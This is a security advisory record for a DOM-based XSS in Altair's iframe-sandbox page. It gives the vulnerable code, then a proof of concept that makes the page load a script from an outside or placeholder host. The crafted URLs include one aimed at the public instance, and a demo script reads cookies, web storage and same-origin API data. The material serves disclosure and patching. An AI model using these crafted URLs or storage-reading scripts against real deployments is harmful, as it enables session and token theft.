{"id":"GHSA-752m-7p75-49gf","summary":"Altair: DOM-based XSS via attacker-controlled script URLs in the iframe sandbox","details":"### Summary\nAltair `8.5.7` accepts plugin configuration directly from the `iframe-sandbox` query string.\n\nWhen `plugin_sandbox_opts` contains `type: \"scripts\"` and an attacker-controlled URL in `scriptUrls`, the sandbox page creates a classic `\u003cscript src=\"...\"\u003e` element and loads the supplied script.\n\nIn the intended plugin flow, this page runs inside an `\u003ciframe sandbox=\"allow-scripts\"\u003e` without `allow-same-origin`, giving plugin code an opaque origin. However, if a victim opens the crafted sandbox URL directly, that iframe isolation is absent and the attacker-controlled script executes in the origin serving Altair, resulting in DOM-based cross-site scripting (XSS) / arbitrary JavaScript execution in the Altair hosting origin.\n\nExploitation requires the victim to open a crafted URL.\n\n### Details\nThe sandbox reads its configuration directly from `window.location.search`.\n\nIn `packages/altair-iframe-sandbox/src/main.ts`:\n\n```\nconst searchParams = new URLSearchParams(window.location.search);\nconst sandboxType = searchParams.get('sandbox_type');\n\nswitch (sandboxType) {\n  case 'plugin':\n    handlePluginSandbox();\n    break;\n}\n```\n\n`handlePluginSandbox()` then parses `plugin_sandbox_opts`:\n\n```\nconst searchParams = new URLSearchParams(window.location.search);\nconst pluginSandboxOptsStr = searchParams.get('plugin_sandbox_opts');\n\nconst pluginSandboxOpts = pluginSandboxOptsStr\n  ? (JSON.parse(pluginSandboxOptsStr) as PluginParentWorkerOptions)\n  : undefined;\n```\n\nThe relevant validation only checks the plugin type:\n\n```\nif (pluginSandboxOpts.type !== 'scripts') {\n  throw new Error('Invalid plugin option type provided!');\n}\n```\n\nValues from `scriptUrls` are then passed to `injectScript()`:\n\n```\nif (pluginSandboxOpts.scriptUrls) {\n  for (const script of pluginSandboxOpts.scriptUrls) {\n    await injectScript(script);\n  }\n}\n```\n\nThe sink in `packages/altair-core/src/utils/inject.ts` is:\n\n```\nconst script = document.createElement('script');\nscript.type = 'text/javascript';\nscript.src = url;\nhead.appendChild(script);\n```\n\nThe intended parent flow relies on browser iframe sandboxing:\n\n```\n// NOTE: Don't add allow-same-origin to the sandbox attribute!\niframe.sandbox.add('allow-scripts');\n```\n\nDirect navigation to the sandbox URL does not have this parent iframe sandbox, so the injected script runs in the normal hosting origin.\n\nThe official middleware also clears CSP for paths identified as iframe-sandbox. This is not the root cause, but reduces the chance that a deployment-level CSP will block attacker-controlled external scripts when the default middleware behavior is used.\n\n### PoC\n\nThe following PoC is intentionally benign and demonstrates JavaScript execution in the Altair hosting origin.\n\n1. Create a local Altair deployment\n\n```sh\nmkdir altair-local-test\ncd altair-local-test\nnpm init -y\nnpm i express@5.2.1 altair-express-middleware@8.5.7 graphql@17.0.2 graphql-http@1.23.0\n```\n\nCreate `server.js`:\n\n```js\nconst express = require(\"express\");\nconst { altairExpress } = require(\"altair-express-middleware\");\nconst { createHandler } = require(\"graphql-http/lib/use/express\");\nconst { buildSchema } = require(\"graphql\");\n\nconst app = express();\n\nconst schema = buildSchema(`\n  type Query {\n    hello: String\n  }\n`);\n\nconst root = {\n  hello: () =\u003e \"world\",\n};\n\napp.all(\n  \"/api/graphql\",\n  createHandler({\n    schema,\n    rootValue: root,\n  })\n);\n\napp.use(\n  \"/graphql\",\n  altairExpress({\n    endpointURL: \"/api/graphql\",\n    initialQuery: \"{ hello }\",\n  })\n);\n\napp.listen(4000, () =\u003e {\n  console.log(\"Altair UI: http://localhost:4000/graphql/\");\n  console.log(\"Sandbox:   http://localhost:4000/graphql/iframe-sandbox/\");\n});\n```\n\nRun:\n\n```sh\nnode server.js\n```\n\n2. Host a benign script\n\nHost the following as `poc.js` on a domain you control:\n\n```js\ndocument.body.textContent = \"\";\n\nconst h1 = document.createElement(\"h1\");\nh1.textContent = \"Altair iframe-sandbox PoC\";\n\nconst p = document.createElement(\"p\");\np.textContent = \"Script executed in: \" + window.location.origin;\n\ndocument.body.append(h1, p);\n```\n\n3. Build the crafted URL\n\nCreate `build-poc-url.js`:\n\n```js\nconst opts = {\n  id: \"local-poc\",\n  type: \"scripts\",\n  scriptUrls: [\"http://127.0.0.1:8000/poc.js\"],\n  styleUrls: []\n};\n\nconst url =\n  \"http://localhost:4000/graphql/iframe-sandbox/\" +\n  \"?sandbox_type=plugin&plugin_sandbox_opts=\" +\n  encodeURIComponent(JSON.stringify(opts));\n\nconsole.log(url);\n```\n\nRun:\n\n```js\nnode build-poc-url.js\n```\n\nThis prints a fully encoded URL similar to:\n\n```text\nhttp://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D\n```\n\n4. Open the crafted URL\n\n```text\nhttp://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D\n```\n\nSome deployments also accept:\n\n```text\nhttp://localhost:4000/graphql/iframe-sandbox/index.html?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D\n```\n\nThe page creates:\n\n```html\n\u003cscript type=\"text/javascript\" src=\"http://127.0.0.1:8000/poc.js\"\u003e\u003c/script\u003e\n```\n\nThe script displays:\n\n```text\nScript executed in: http://localhost:4000\n```\n\nThis confirms that attacker-controlled `scriptUrls` reaches `script.src` and executes in the deployment origin when the page is opened outside the intended sandboxed iframe.\n\n5. Optional same-origin impact demonstration\n\nThe following routes are only part of the local test environment and are not Altair functionality.\n\nAdd:\n\n```js\napp.get(\"/login-demo\", (req, res) =\u003e {\n  res.setHeader(\"Set-Cookie\", [\n    \"visible_token=demo-visible-token-123; Path=/; SameSite=Lax\",\n    \"http_only_session=demo-http-only-session-456; Path=/; HttpOnly; SameSite=Lax\",\n  ]);\n\n  res.send(`\n    \u003ch1\u003eDemo login\u003c/h1\u003e\n    \u003cscript\u003e\n      localStorage.setItem(\"altair_demo_token\", \"localStorage-secret-789\");\n      sessionStorage.setItem(\"altair_demo_session\", \"sessionStorage-secret-abc\");\n    \u003c/script\u003e\n    \u003cp\u003eNow open the iframe-sandbox PoC URL.\u003c/p\u003e\n  `);\n});\n\napp.get(\"/api/me-demo\", (req, res) =\u003e {\n  res.json({\n    user: \"demo-user\",\n    role: \"admin-demo\",\n    privateData: \"same-origin-api-data\",\n    authenticated: Boolean(req.headers.cookie),\n  });\n});\n```\n\nVisit `/login-demo`, then open the crafted sandbox URL in the same origin using:\n\n```js\nasync function main() {\n  const api = await fetch(\"/api/me-demo\").then((res) =\u003e res.json());\n\n  document.body.textContent = \"\";\n\n  const pre = document.createElement(\"pre\");\n  pre.textContent = JSON.stringify(\n    {\n      origin: location.origin,\n      cookie: document.cookie,\n      localStorage: localStorage.getItem(\"altair_demo_token\"),\n      sessionStorage: sessionStorage.getItem(\"altair_demo_session\"),\n      sameOriginApi: api,\n    },\n    null,\n    2\n  );\n\n  document.body.appendChild(pre);\n}\n\nmain();\n```\n\nExpected behavior:\n\n- `visible_token` is readable through `document.cookie`;\n- the `HttpOnly` cookie is not readable through `document.cookie`;\n- `localStorage` and `sessionStorage` are readable;\n- same-origin requests can include cookies according to their attributes.\n\nThis step is optional and only demonstrates the consequences of JavaScript execution in a shared application origin.\n\n6. Public validation\n\nThe same behavior was also validated against the public Altair instance using a benign payload:\n\n```text\nhttps://web.altairgraphql.dev/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22https%3A%2F%2F\u003ccontrolled-test-domain\u003e%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D\n```\n\nThe controlled script only displayed:\n\n```text\nScript executed in: https://web.altairgraphql.dev\n```\n\nSeparately, browser storage for an authenticated Altair Web session was inspected and showed an `ALTAIR-API-USER-TOKEN` entry in `localStorage` for `https://web.altairgraphql.dev`.\n\nBecause the sandbox PoC already demonstrates attacker-controlled JavaScript execution in that same origin, this browser-accessible authentication value may be exposed by successful exploitation.\n\nNo tokens, storage, user data, or authenticated APIs were accessed during the public validation.\n\n### Impact\n\nAn unauthenticated remote attacker can craft an `iframe-sandbox` URL that causes attacker-controlled JavaScript to execute in the origin serving Altair when a victim opens the crafted URL.\n\nThe impact can become significantly higher when Altair is hosted on the same origin as authenticated application functionality. In such deployments, the injected script may be able to:\n\n- read script-accessible cookies;\n- access `localStorage` and `sessionStorage`;\n- make authenticated same-origin requests using the victim's session;\n- read same-origin API responses available to the victim;\n- interact with application functionality as the authenticated user.\n- enable phishing or UI spoofing scenarios.\n\n`HttpOnly` cookies cannot be read directly through JavaScript, but they may still be automatically included in same-origin requests according to their cookie attributes.\n\nFor the hosted Altair Web deployment, an authenticated session was observed to store `ALTAIR-API-USER-TOKEN` in same-origin `localStorage`. Since JavaScript executing in `https://web.altairgraphql.dev` can access that origin's browser storage, successful exploitation may expose this authentication-related value.\n\nThe exact confidentiality and integrity impact depends on the deployment model and on the authenticated functionality exposed on the same origin.\n\nThe public validation against `web.altairgraphql.dev` only demonstrated attacker-controlled JavaScript execution in the Altair origin. No tokens, storage contents, user data, or authenticated APIs were accessed.","aliases":["CVE-2026-110802"],"modified":"2026-11-10T16:15:04.160352896Z","published":"2026-11-10T15:57:27Z","database_specific":{"github_reviewed_at":"2026-11-10T15:57:27Z","nvd_published_at":"2026-11-05T21:18:35Z","cwe_ids":["CWE-79","CWE-829"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/altair-graphql/altair/security/advisories/GHSA-752m-7p75-49gf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110802"},{"type":"WEB","url":"https://github.com/altair-graphql/altair/commit/53a19183ce11ca147bb990c355e14ecb1dd7cd3e"},{"type":"WEB","url":"https://github.com/altair-graphql/altair/commit/bdf422bdaaaf3186170ba7f22e22c259072133d9"},{"type":"PACKAGE","url":"https://github.com/altair-graphql/altair"},{"type":"WEB","url":"https://github.com/altair-graphql/altair/releases/tag/v8.5.8"}],"affected":[{"package":{"name":"altair-static","ecosystem":"npm","purl":"pkg:npm/altair-static"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.2.4"},{"fixed":"8.5.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-752m-7p75-49gf/GHSA-752m-7p75-49gf.json"}},{"package":{"name":"altair-express-middleware","ecosystem":"npm","purl":"pkg:npm/altair-express-middleware"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.2.4"},{"fixed":"8.5.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-752m-7p75-49gf/GHSA-752m-7p75-49gf.json"}},{"package":{"name":"altair-koa-middleware","ecosystem":"npm","purl":"pkg:npm/altair-koa-middleware"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.2.4"},{"fixed":"8.5.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-752m-7p75-49gf/GHSA-752m-7p75-49gf.json"}},{"package":{"name":"altair-fastify-plugin","ecosystem":"npm","purl":"pkg:npm/altair-fastify-plugin"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.2.4"},{"fixed":"8.5.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-752m-7p75-49gf/GHSA-752m-7p75-49gf.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}